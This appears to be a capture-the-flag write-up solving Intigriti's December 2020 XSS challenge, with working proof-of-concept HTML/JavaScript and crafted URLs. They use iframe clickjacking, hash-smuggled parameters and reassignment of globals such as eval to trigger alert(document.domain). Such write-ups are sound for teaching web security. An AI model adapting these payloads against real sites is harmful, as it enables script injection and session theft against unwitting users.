Try   HackMD

Intigriti Challenge 1220 solutions

This is my write-up to the Intigriti's recent XSS challenge that I manged to solve in various ways, exploiting different vulnerabilities.

https://twitter.com/terjanq/status/1336248989633687553

Clickjacking

The first solution I found was requiring user interaction. I haven't noticed a comment in the page source, that everything beneath it is considered "just a UI", and of course exploited the UI 😅 first.

/*
 The code below is calculator UI and not part of the challenge
*/

The hardest part of constructing the payload was to realize that user interaction is not forbidden, but for some reason, I was very convinced that the challenge is about triggering the XSS without interaction. My intuition wasn't wrong because the intended solution indeed required no interaction.

The first solution was leveraging four facts:

  1. It was possible to smuggle the query parameters in the hash, through for example #&num1=aaa&num2=123
  2. It was possible to embed the page on an external website, and load the prepared URL with hashes.
  3. Upon clicking any number on the calculator, the calc function would be triggered again, resulting in XSS.
  4. There was a global variable searchQueryString which was everything after the first occurrence of the question mark ?. It was possible to inject ?javascript:alert(document.domain)//& at the beginning of the URL, so the searchQueryString would yield a valid javascript code

Then it was just a matter of assigning location=searchQueryString to execute the payload.

PoC: https://terjanq.me/int_dec_sol.html

<body><div style="width:300px">
<pre>1. Click any number inside iframe</pre></div>
<button id=button style=display:none>click me</button>
</body>
<script>
    var x = document.createElement('iframe');
    var base = 'https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//&'
    x.src = base+'#&num1=x&num2=searchQueryString&operator=%3D'
    x.style.cssText="position:absolute;top: -2200px;left:300px;width: 200px;height: 2500px;";
    x.onload = () => {
        x.src = base+'#&num1=location&num2=x&operator=%3D'
    }
    document.body.appendChild(x);
</script>

No user interaction

I was told by Inti that the intended solution required no interaction, but my solution was somehow close.

Didn't take me more than a few minutes to improve the solution to be triggering without user interaction.

The observation was that we can force the assignment onhashchange=init which would reevaluate everything upon hashchange event. Now, instead of requiring the user to click to invoke the vulnerable calc function, we can manipulate the hash of the iframe, because changing the hash inside the iframe doesn't trigger the reload event.

PoC: https://terjanq.me/int_dec_sol_2.html


<body></body>
<script>
    const sleep = d => new Promise(r=>setTimeout(r,d));

    var x = document.createElement('iframe');
    var base = 'https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//&num1=onhashchange&num2=init&operator=%3d&'
    x.src = base+'#1'
    x.onload = async () => {
        x.src = base+'#&num1=x&num2=searchQueryString'
        await sleep(500);
        x.src = base+'#&num1=location&num2=x'
    }
    document.body.appendChild(x);
</script>

No iframes

The other vulnerability I discovered was that when you click on a clear button, num1, num2, and operator parameters are deleted from the URL. This was actually the first attempt that I tried to exploit.

I noticed that when you have a URL with /?num1=smth&#num1=foo and then try to remove the num1 parameter, the resulting URL will be /#&num1=foo.

Because the page parses the URL in the following way:

  1. Find the first occurrence of the question mark ?.
  2. Split the URL into an array by the & character as the delimiter.
  3. For each element from the array, split the string into the pair (key, value) by the = character as the delimiter.

With my observation and user interaction, I could force the following chain of parsing the elements:

  1. Load /?num1=calc&#&?num1=alert(document.domain)&num2=eval&operator=%3D. Parsed parameters will be:
    • num1:calc
    • num2:eval
    • operator:=

This forces the assignment calc=eval

  1. Wait for the user to click on the Clear (C) button.
  2. The URL now becomes /#&?num1=alert(document.domain)&num2=eval&operator=%3D and parsed parameters are:
    • num1:alert(document.domain)
    • num2:eval
    • operator:=

This will trigger the invocation of eval('alert(document.domain)', 'eval', '=') and which will trigger an alert.

PoC: https://challenge-1220.intigriti.io/?num1=calc&#&?num1=alert(document.domain)&num2=eval&operator=%3D

No globals

The last solution that I have submitted was combining all the previous solutions to achieve XSS that wasn't reusing any global function or variables that were defined by the challenge, with the exception for window.onload. This is very similar to my research towards Arbitrary Parentheses-less XSS.

The solution was to invoke the following chain:

  1. onhashchange=onload
  2. y=eval
  3. decodeURIComponent=y
  4. iframe.src='#?alert(document.domain)=1337'

PoC: https://terjanq.me/int_dec_sol_3.html


<body></body>
<script>
    const sleep = d => new Promise(r=>setTimeout(r,d));
    
    var x = document.createElement('iframe');
    var base = 'https://challenge-1220.intigriti.io/';
    document.body.appendChild(x);

    async function eq(a,b){
        x.src = base+`#&num1=${escape(a)}&num2=${escape(b)}&operator=%3d`
        await sleep(300);
    }
    eq('onhashchange','onload');
    x.onload = async () => {
        await eq('y','eval');
        await eq('decodeURIComponent','y');
        x.src = base + '#?alert(document.domain)=1337';
    }
    
</script>